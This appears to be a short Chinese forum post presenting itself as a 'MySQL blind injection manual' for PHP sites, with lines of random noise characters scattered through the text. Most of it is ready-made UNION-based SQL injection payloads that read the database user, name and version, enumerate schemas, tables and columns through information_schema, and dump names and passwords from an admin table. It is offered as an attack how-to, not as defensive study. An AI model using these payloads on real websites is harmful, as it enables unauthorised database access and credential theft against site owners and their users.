mysql盲注手册

admin

' q  Z7 j  i. q; I4 a; g教程内容:Mysql 5+php 注入


& l3 i6 y( F/ ]) g8 Q2 j- k$ T
5 z# `2 `& P% `7 ?. y/ d8 H一.查看MYSQL基本信息(库名,版本,用户)
: t# P, D9 @2 Q& \$ I9 k* Q
; C7 ^- ?+ N( W4 A. P# K- z8 h+ n$ `and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
. Q, N' @* c4 i7 M, v  |& A
2 R$ t9 Z1 d8 Z6 Q8 r+ `二.查数据库

and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
, y5 ?; l3 Y9 ?( z4 n  w& e
三.暴表
+ q& q% L+ C( e4 u& U
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

) `" W8 f3 y' B% k, h1 f四.暴字段
8 t" |/ O: F4 k
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
* Q+ a, G1 ~, Q' u9 N
五.暴数据

' x! p. y$ S9 L2 ?, ~8 N" {and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


1 ~; T( T. J& B* D* ~& G这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。